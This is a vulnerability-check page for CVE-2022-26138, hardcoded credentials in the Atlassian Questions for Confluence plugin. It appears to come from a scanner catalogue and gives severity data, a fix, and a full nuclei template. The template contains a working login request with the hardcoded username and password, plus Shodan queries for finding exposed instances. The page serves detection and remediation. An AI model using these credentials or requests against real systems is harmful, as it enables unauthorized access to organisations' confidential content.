Atlassian Questions For Confluence - Hardcoded Credentials

Exploited in the wild. Listed by CISA on 2022-07-29; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.

Fix

Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.

How to confirm it

Send: POST /dologin.action
Positive when: location == "/httpvoid.action"

Run it with nuclei: nuclei -id CVE-2022-26138 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-26138

info:
  name: Atlassian Questions For Confluence - Hardcoded Credentials
  author: HTTPVoid
  severity: critical
  description: |
    Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.
  remediation: |
    Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.
  reference:
    - https://twitter.com/fluepke/status/1549892089181257729
    - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26138
    - https://jira.atlassian.com/browse/CONFSERVER-79483
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26138
    cwe-id: CWE-798
    epss-score: 0.98241
    epss-percentile: 0.99916
    cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: questions_for_confluence
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
  tags: cve2022,cve,confluence,atlassian,default-login,kev,vkev,vuln

http:
  - raw:
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action

    payloads:
      os_username:
        - disabledsystemuser
      os_password:
        - disabled1system1user6708
    attack: pitchfork
    matchers:
      - type: dsl
        dsl:
          - 'location == "/httpvoid.action"'

References

Use this check only on systems you are authorised to test. Where the data comes from